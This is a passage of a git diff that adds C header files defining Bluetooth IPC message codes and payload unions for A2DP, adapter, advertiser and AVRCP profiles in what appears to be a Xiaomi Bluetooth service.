bt_l2cap_result_t l2cap_r; + }; + union { + bt_message_manager_t manager_pl; + + bt_message_adapter_t adpt_pl; + bt_message_adapter_callbacks_t adpt_cb; + + bt_message_device_t devs_pl; + + bt_message_a2dp_sink_t a2dp_sink_pl; + bt_message_a2dp_sink_callbacks_t a2dp_sink_cb; + + bt_message_a2dp_source_t a2dp_source_pl; + bt_message_a2dp_source_callbacks_t a2dp_source_cb; + + bt_message_avrcp_target_t avrcp_target_pl; + bt_message_avrcp_target_callbacks_t avrcp_target_cb; + bt_message_avrcp_control_t avrcp_control_pl; + bt_message_avrcp_control_callbacks_t avrcp_control_cb; + + bt_message_hfp_ag_t hfp_ag_pl; + bt_message_hfp_ag_callbacks_t hfp_ag_cb; + + bt_message_hfp_hf_t hfp_hf_pl; + bt_message_hfp_hf_callbacks_t hfp_hf_cb; + + bt_message_advertiser_t adv_pl; + bt_message_advertiser_callbacks_t adv_cb; + + bt_message_scan_t scan_pl; + bt_message_scan_callbacks_t scan_cb; + bt_message_batch_scan_result_callbacks_t scan_batch_cb; + + bt_message_gattc_t gattc_pl; + bt_message_gattc_callbacks_t gattc_cb; + + bt_message_gatts_t gatts_pl; + bt_message_gatts_callbacks_t gatts_cb; + + bt_message_spp_t spp_pl; + bt_message_spp_callbacks_t spp_cb; + + bt_message_pan_t pan_pl; + bt_message_pan_callbacks_t pan_cb; + + bt_message_hid_device_t hidd_pl; + bt_message_hid_device_callbacks_t hidd_cb; + + bt_message_l2cap_t l2cap_pl; + bt_message_l2cap_callbacks_t l2cap_cb; + + bt_message_log_t log_pl; + }; +} bt_message_packet_t; +#pragma pack() + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_H__ */ diff --git a/service/ipc/socket/include/bt_message_a2dp_sink.h b/service/ipc/socket/include/bt_message_a2dp_sink.h new file mode 100644 index 0000000000000000000000000000000000000000..9e641ddff0a306653fa574b38a64d3e97083a518 --- /dev/null +++ b/service/ipc/socket/include/bt_message_a2dp_sink.h @@ -0,0 +1,92 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_A2DP_SINK_MESSAGE_START, + BT_A2DP_SINK_REGISTER_CALLBACKS, + BT_A2DP_SINK_UNREGISTER_CALLBACKS, + BT_A2DP_SINK_IS_CONNECTED, + BT_A2DP_SINK_IS_PLAYING, + BT_A2DP_SINK_GET_CONNECTION_STATE, + BT_A2DP_SINK_CONNECT, + BT_A2DP_SINK_DISCONNECT, + BT_A2DP_SINK_SET_ACTIVE_DEVICE, + BT_A2DP_SINK_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_A2DP_SINK_CALLBACK_START, + BT_A2DP_SINK_CONNECTION_STATE_CHANGE, + BT_A2DP_SINK_AUDIO_STATE_CHANGE, + BT_A2DP_SINK_CONFIG_CHANGE, + BT_A2DP_SINK_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_A2DP_SINK_H__ +#define _BT_MESSAGE_A2DP_SINK_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_a2dp_sink.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_A2DP_SINK_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_A2DP_SINK, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_A2DP_SINK_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_A2DP_SINK, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_A2DP_SINK_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_A2DP_SINK, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_A2DP_SINK_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_A2DP_SINK, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t bbool; /* boolean */ + uint8_t state; /* profile_connection_state_t */ + uint8_t status; /* bt_status_t */ + } bt_a2dp_sink_result_t; + + typedef union { + union { + bt_address_t addr; + } _bt_a2dp_sink_is_connected, + _bt_a2dp_sink_is_playing, + _bt_a2dp_sink_get_connection_state, + _bt_a2dp_sink_connect, + _bt_a2dp_sink_disconnect, + _bt_a2dp_sink_set_active_device; + } bt_message_a2dp_sink_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _connection_state_changed; + struct { + bt_address_t addr; + uint8_t state; /* a2dp_audio_state_t */ + } _audio_state_changed; + struct { + bt_address_t addr; + } _config_state_changed; + } bt_message_a2dp_sink_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_A2DP_SINK_H__ */ diff --git a/service/ipc/socket/include/bt_message_a2dp_source.h b/service/ipc/socket/include/bt_message_a2dp_source.h new file mode 100644 index 0000000000000000000000000000000000000000..7bb87edf289ccac7167e74859443b388fa2664f2 --- /dev/null +++ b/service/ipc/socket/include/bt_message_a2dp_source.h @@ -0,0 +1,97 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_A2DP_SOURCE_MESSAGE_START, + BT_A2DP_SOURCE_REGISTER_CALLBACKS, + BT_A2DP_SOURCE_UNREGISTER_CALLBACKS, + BT_A2DP_SOURCE_IS_CONNECTED, + BT_A2DP_SOURCE_IS_PLAYING, + BT_A2DP_SOURCE_GET_CONNECTION_STATE, + BT_A2DP_SOURCE_CONNECT, + BT_A2DP_SOURCE_DISCONNECT, + BT_A2DP_SOURCE_SET_SILENCE_DEVICE, + BT_A2DP_SOURCE_SET_ACTIVE_DEVICE, + BT_A2DP_SOURCE_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_A2DP_SOURCE_CALLBACK_START, + BT_A2DP_SOURCE_CONNECTION_STATE_CHANGE, + BT_A2DP_SOURCE_AUDIO_STATE_CHANGE, + BT_A2DP_SOURCE_CONFIG_CHANGE, + BT_A2DP_SOURCE_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_A2DP_SOURCE_H__ +#define _BT_MESSAGE_A2DP_SOURCE_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_a2dp_source.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_A2DP_SRC_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_A2DP_SRC, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_A2DP_SRC_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_A2DP_SRC, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_A2DP_SRC_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_A2DP_SRC, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_A2DP_SRC_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_A2DP_SRC, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t bbool; /* boolean */ + uint8_t state; /* profile_connection_state_t */ + uint8_t status; /* bt_status_t */ + } bt_a2dp_source_result_t; + + typedef union { + union { + bt_address_t addr; + } _bt_a2dp_source_is_connected, + _bt_a2dp_source_is_playing, + _bt_a2dp_source_get_connection_state, + _bt_a2dp_source_connect, + _bt_a2dp_source_disconnect, + _bt_a2dp_source_set_active_device; + union { + bt_address_t addr; + uint8_t silence; /* boolean */ + } _bt_a2dp_source_set_silence_device; + } bt_message_a2dp_source_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _connection_state_changed; + struct { + bt_address_t addr; + uint8_t state; /* a2dp_audio_state_t */ + } _audio_state_changed; + struct { + bt_address_t addr; + } _audio_config_state_changed; + } bt_message_a2dp_source_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_A2DP_SOURCE_H__ */ diff --git a/service/ipc/socket/include/bt_message_adapter.h b/service/ipc/socket/include/bt_message_adapter.h new file mode 100644 index 0000000000000000000000000000000000000000..0b85852f6479062f7da717127fccbca814464e3e --- /dev/null +++ b/service/ipc/socket/include/bt_message_adapter.h @@ -0,0 +1,285 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_ADAPTER_MESSAGE_START, + BT_ADAPTER_ENABLE, + BT_ADAPTER_DISABLE, + BT_ADAPTER_DISABLE_SAFE, + BT_ADAPTER_ENABLE_LE, + BT_ADAPTER_DISABLE_LE, + BT_ADAPTER_GET_STATE, + BT_ADAPTER_GET_TYPE, + BT_ADAPTER_SET_DISCOVERY_FILTER, + BT_ADAPTER_START_DISCOVERY, + BT_ADAPTER_CANCEL_DISCOVERY, + BT_ADAPTER_IS_DISCOVERING, + BT_ADAPTER_GET_ADDRESS, + BT_ADAPTER_SET_NAME, + BT_ADAPTER_GET_NAME, + BT_ADAPTER_GET_UUIDS, + BT_ADAPTER_SET_SCAN_MODE, + BT_ADAPTER_GET_SCAN_MODE, + BT_ADAPTER_SET_DEVICE_CLASS, + BT_ADAPTER_GET_DEVICE_CLASS, + BT_ADAPTER_SET_IO_CAPABILITY, + BT_ADAPTER_GET_IO_CAPABILITY, + BT_ADAPTER_SET_INQUIRY_SCAN_PARAMETERS, + BT_ADAPTER_SET_PAGE_SCAN_PARAMETERS, + BT_ADAPTER_GET_BONDED_DEVICES, + BT_ADAPTER_GET_CONNECTED_DEVICES, + BT_ADAPTER_DISCONNECT_ALL_DEVICES, + BT_ADAPTER_IS_SUPPORT_BREDR, + BT_ADAPTER_REGISTER_CALLBACK, + BT_ADAPTER_UNREGISTER_CALLBACK, + BT_ADAPTER_IS_LE_ENABLED, + BT_ADAPTER_IS_SUPPORT_LE, + BT_ADAPTER_IS_SUPPORT_LEAUDIO, + BT_ADAPTER_GET_LE_ADDRESS, + BT_ADAPTER_SET_LE_ADDRESS, + BT_ADAPTER_SET_LE_IDENTITY_ADDRESS, + BT_ADAPTER_SET_LE_IO_CAPABILITY, + BT_ADAPTER_GET_LE_IO_CAPABILITY, + BT_ADAPTER_SET_LE_APPEARANCE, + BT_ADAPTER_GET_LE_APPEARANCE, + BT_ADAPTER_LE_ENABLE_KEY_DERIVATION, + BT_ADAPTER_LE_ADD_WHITELIST, + BT_ADAPTER_LE_REMOVE_WHITELIST, + BT_ADAPTER_SET_AFH_CHANNEL_CLASSFICATION, + BT_ADAPTER_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_ADAPTER_CALLBACK_START, + BT_ADAPTER_ON_ADAPTER_STATE_CHANGED, + BT_ADAPTER_ON_DISCOVERY_STATE_CHANGED, + BT_ADAPTER_ON_DISCOVERY_RESULT, + BT_ADAPTER_ON_SCAN_MODE_CHANGED, + BT_ADAPTER_ON_DEVICE_NAME_CHANGED, + BT_ADAPTER_ON_PAIR_REQUEST, + BT_ADAPTER_ON_PAIR_DISPLAY, + BT_ADAPTER_ON_CONNECT_REQUEST, + BT_ADAPTER_ON_CONNECTION_STATE_CHANGED, + BT_ADAPTER_ON_BOND_STATE_CHANGED, + BT_ADAPTER_ON_LE_SC_LOCAL_OOB_DATA_GOT, + BT_ADAPTER_ON_REMOTE_NAME_CHANGED, + BT_ADAPTER_ON_REMOTE_ALIAS_CHANGED, + BT_ADAPTER_ON_REMOTE_COD_CHANGED, + BT_ADAPTER_ON_REMOTE_UUIDS_CHANGED, + BT_ADAPTER_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_ADAPTER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_ADAPTER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_ADAPTER_SUBCODE_START_LIMITED_DISCOVERY 1 +#define BT_ADAPTER_START_LIMITED_DISCOVERY BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_ADAPTER, BT_ADAPTER_SUBCODE_START_LIMITED_DISCOVERY) +#define BT_ADAPTER_SUBCODE_SET_DEBUG_MODE 2 +#define BT_ADAPTER_SET_DEBUG_MODE BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_ADAPTER, BT_ADAPTER_SUBCODE_SET_DEBUG_MODE) + +#define BT_IPC_CODE_COMMAND_ADAPTER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_ADAPTER, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_ADAPTER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_ADAPTER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_ADAPTER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_ADAPTER, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t state; /* bt_adapter_state_t */ + uint8_t dtype; /* bt_device_type_t */ + uint8_t bbool; /* boolean */ + + uint8_t mode; /* bt_scan_mode_t */ + uint8_t ioc; /* bt_io_capability_t */ + uint16_t v16; + + uint32_t v32; + } bt_adapter_result_t; + + typedef union { + struct { + bt_address_t addr; + } _bt_adapter_get_address, + _bt_adapter_set_le_address, + _bt_adapter_le_add_whitelist, + _bt_adapter_le_remove_whitelist; + + struct { + char name[64]; + } _bt_adapter_set_name, + _bt_adapter_get_name; + + struct { + uint32_t v32; + } _bt_adapter_start_discovery, + _bt_adapter_set_device_class, + _bt_adapter_set_le_io_capability, + _bt_adapter_start_limited_discovery; + + struct { + uint16_t size; + uint8_t pad[2]; + bt_uuid_t uuids[BT_UUID_MAX_NUM]; + } _bt_adapter_get_uuids; + + struct { + uint8_t mode; /* bt_scan_mode_t */ + uint8_t bondable; /* boolean */ + } _bt_adapter_set_scan_mode; + + struct { + uint8_t cap; /* bt_io_capability_t */ + } _bt_adapter_set_io_capability; + + struct { + bt_address_t addr; + uint8_t type; /* ble_addr_type_t */ + } _bt_adapter_get_le_address; + + struct { + bt_address_t addr; + uint8_t pub; /* boolean */ + } _bt_adapter_set_le_identity_address; + + struct { + uint16_t v16; + } _bt_adapter_set_le_appearance; + + struct { + uint8_t mode; /* bt_debug_mode_t */ + uint8_t operation; + } _bt_adapter_set_debug_mode; + + struct { + uint32_t num; /* int */ + bt_address_t addr[32]; + uint8_t transport; /* bt_transport_t */ + } _bt_adapter_get_bonded_devices, + _bt_adapter_get_connected_devices; + + struct { + uint8_t brkey_to_lekey; /* boolean */ + uint8_t lekey_to_brkey; /* boolean */ + } _bt_adapter_le_enable_key_derivation; + + struct { + uint8_t type; /* bt_scan_type_t */ + uint8_t pad[3]; + uint16_t interval; + uint16_t window; + } _bt_adapter_set_inquiry_scan_parameters, + _bt_adapter_set_page_scan_parameters; + + struct { + uint16_t central_frequency; + uint16_t band_width; + uint16_t number; + } _bt_adapter_set_afh_channel_classification; + } bt_message_adapter_t; + + typedef union { + struct { + uint8_t state; /* bt_adapter_state_t */ + } _on_adapter_state_changed; + + struct { + uint8_t state; /* bt_discovery_state_t */ + } _on_discovery_state_changed; + + struct { + bt_discovery_result_t result; + } _on_discovery_result; + + struct { + uint8_t mode; /* bt_scan_mode_t */ + } _on_scan_mode_changed; + + struct { + char device_name[64]; + } _on_device_name_changed; + + struct { + bt_address_t addr; + } _on_pair_request; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t type; /* bt_pair_type_t */ + uint32_t passkey; + } _on_pair_display; + + struct { + bt_address_t addr; + } _on_connect_request; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t state; /* connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t previous_state; /* bond_state_t */ + uint8_t current_state; /* bond_state_t */ + uint8_t is_ctkd; /* boolean */ + } _on_bond_state_changed; + + struct { + bt_address_t addr; + bt_128key_t c_val; + bt_128key_t r_val; + } _on_le_sc_local_oob_data_got; + + struct { + char name[64]; + bt_address_t addr; + } _on_remote_name_changed; + + struct { + char alias[64]; + bt_address_t addr; + } _on_remote_alias_changed; + + struct { + uint32_t cod; + bt_address_t addr; + } _on_remote_cod_changed; + + struct { + bt_address_t addr; + uint16_t size; + bt_uuid_t uuids[BT_UUID_MAX_NUM]; + } _on_remote_uuids_changed; + } bt_message_adapter_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ diff --git a/service/ipc/socket/include/bt_message_advertiser.h b/service/ipc/socket/include/bt_message_advertiser.h new file mode 100644 index 0000000000000000000000000000000000000000..017ce0fa6fa5d6198467e345e8f1f108e404d41f --- /dev/null +++ b/service/ipc/socket/include/bt_message_advertiser.h @@ -0,0 +1,105 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_ADVERTISER_MESSAGE_START, + BT_LE_START_ADVERTISING, + BT_LE_STOP_ADVERTISING, + BT_LE_STOP_ADVERTISING_ID, + BT_LE_ADVERTISING_IS_SUPPORT, + BT_ADVERTISER_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_ADVERTISER_CALLBACK_START, + BT_LE_ON_ADVERTISER_START, + BT_LE_ON_ADVERTISER_STOPPED, + BT_ADVERTISER_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_ADVERTISER_H__ +#define _BT_MESSAGE_ADVERTISER_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_BLE_ADVERTISER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_BLE_ADVERTISER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_BLE_ADVERTISER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_BLE_ADVERTISER, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_BLE_ADVERTISER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_BLE_ADVERTISER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_BLE_ADVERTISER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_BLE_ADVERTISER, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t vbool; /* boolean */ + uint8_t pad[2]; + uint64_t remote; + } bt_advertiser_result_t; + + typedef struct + { + bt_instance_t* ins; + advertiser_callback_t* callback; + uint64_t remote; + } bt_advertiser_remote_t; + + typedef union { + struct { + uint64_t adver; + ble_adv_params_t params; + uint16_t adv_len; + uint16_t scan_rsp_len; + uint8_t adv_data[256]; + uint8_t scan_rsp_data[256]; + } _bt_le_start_advertising; + + struct { + uint64_t adver; + } _bt_le_stop_advertising; + + struct { + uint8_t id; + } _bt_le_stop_advertising_id; + + } bt_message_advertiser_t; + + typedef struct + { + struct { + uint64_t adver; + uint8_t adv_id; + uint8_t status; + } _on_advertising_start; + + struct { + uint64_t adver; + uint8_t adv_id; + } _on_advertising_stopped; + } bt_message_advertiser_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADVERTISER_H__ */ diff --git a/service/ipc/socket/include/bt_message_avrcp_control.h b/service/ipc/socket/include/bt_message_avrcp_control.h new file mode 100644 index 0000000000000000000000000000000000000000..c4b8df466204dab45448cfe2e1a78a1b40910c54 --- /dev/null +++ b/service/ipc/socket/include/bt_message_avrcp_control.h @@ -0,0 +1,109 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_AVRCP_CONTROL_MESSAGE_START, + BT_AVRCP_CONTROL_REGISTER_CALLBACKS, + BT_AVRCP_CONTROL_UNREGISTER_CALLBACKS, + BT_AVRCP_CONTROL_GET_ELEMENT_ATTRIBUTES, + BT_AVRCP_CONTROL_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_AVRCP_CONTROL_CALLBACK_START, + BT_AVRCP_CONTROL_ON_CONNECTION_STATE_CHANGED, + BT_AVRCP_CONTROL_ON_GET_ELEMENT_ATTRIBUTES_REQUEST, + BT_AVRCP_CONTROL_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_AVRCP_CONTROL_H__ +#define _BT_MESSAGE_AVRCP_CONTROL_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_avrcp_control.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_AVRCP_CT_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, 0) +// TODO: Add new BT IPC Code sequentially +#define AVRCP_CT_SUBCODE_SEND_PASSTHROUGH_CMD 1 +#define BT_AVRCP_CT_SEND_PASSTHROUGH_CMD BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, AVRCP_CT_SUBCODE_SEND_PASSTHROUGH_CMD) +#define AVRCP_CT_SUBCODE_GET_UNIT_INFO_CMD 2 +#define BT_AVRCP_CT_GET_UNIT_INFO_CMD BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, AVRCP_CT_SUBCODE_GET_UNIT_INFO_CMD) +#define AVRCP_CT_SUBCODE_GET_SUBUNIT_INFO_CMD 3 +#define BT_AVRCP_CT_GET_SUBUNIT_INFO_CMD BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, AVRCP_CT_SUBCODE_GET_SUBUNIT_INFO_CMD) +#define AVRCP_CT_SUBCODE_GET_PLAYBACK_STATE_CMD 4 +#define BT_AVRCP_CT_GET_PLAYBACK_STATE_CMD BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, AVRCP_CT_SUBCODE_GET_PLAYBACK_STATE_CMD) +#define AVRCP_CT_SUBCODE_REGISTER_NOTIFICATION_CMD 5 +#define BT_AVRCP_CT_REGISTER_NOTIFICATION_CMD BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, AVRCP_CT_SUBCODE_REGISTER_NOTIFICATION_CMD) +#define BT_IPC_CODE_COMMAND_AVRCP_CT_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_CT, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_AVRCP_CT_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_AVRCP_CT, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_AVRCP_CT_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_AVRCP_CT, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t value_bool; /* boolean */ + } bt_avrcp_control_result_t; + + typedef union { + struct { + bt_address_t addr; + } _bt_avrcp_control_get_element_attribute; + + struct { + bt_address_t addr; + uint8_t cmd; + uint8_t state; + } _bt_avrcp_control_send_passthrough_cmd; + + struct { + bt_address_t addr; + } _bt_avrcp_control_get_unit_info, + _bt_avrcp_control_get_subunit_info, + _bt_avrcp_control_get_playback_state; + + struct { + bt_address_t addr; + uint8_t event; + uint32_t interval; + } _bt_avrcp_control_register_notification; + } bt_message_avrcp_control_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + uint8_t attrs_count; + uint32_t types[AVRCP_MAX_ATTR_COUNT]; + uint16_t chr_sets[AVRCP_MAX_ATTR_COUNT]; + avrcp_socket_element_attr_val_t values; + } _bt_avrcp_control_get_element_attribute; + } bt_message_avrcp_control_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_AVRCP_CONTROL_H__ */ diff --git a/service/ipc/socket/include/bt_message_avrcp_target.h b/service/ipc/socket/include/bt_message_avrcp_target.h new file mode 100644 index 0000000000000000000000000000000000000000..64bdbf90e71ccbd536876295501034464ccaefcf --- /dev/null +++ b/service/ipc/socket/include/bt_message_avrcp_target.h @@ -0,0 +1,102 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_AVRCP_TARGET_MESSAGE_START, + BT_AVRCP_TARGET_REGISTER_CALLBACKS, + BT_AVRCP_TARGET_UNREGISTER_CALLBACKS, + BT_AVRCP_TARGET_GET_PLAY_STATUS_RESPONSE, + BT_AVRCP_TARGET_PLAY_STATUS_NOTIFY, + BT_AVRCP_TARGET_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_AVRCP_TARGET_CALLBACK_START, + BT_AVRCP_TARGET_ON_CONNECTION_STATE_CHANGED, + BT_AVRCP_TARGET_ON_GET_PLAY_STATUS_REQUEST, + BT_AVRCP_TARGET_ON_REGISTER_NOTIFICATION_REQUEST, + BT_AVRCP_TARGET_ON_PANEL_OPERATION_RECEIVED, + BT_AVRCP_TARGET_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_AVRCP_TARGET_H__ +#define _BT_MESSAGE_AVRCP_TARGET_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_avrcp_target.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_AVRCP_TG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_TG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_AVRCP_TG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_AVRCP_TG, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define 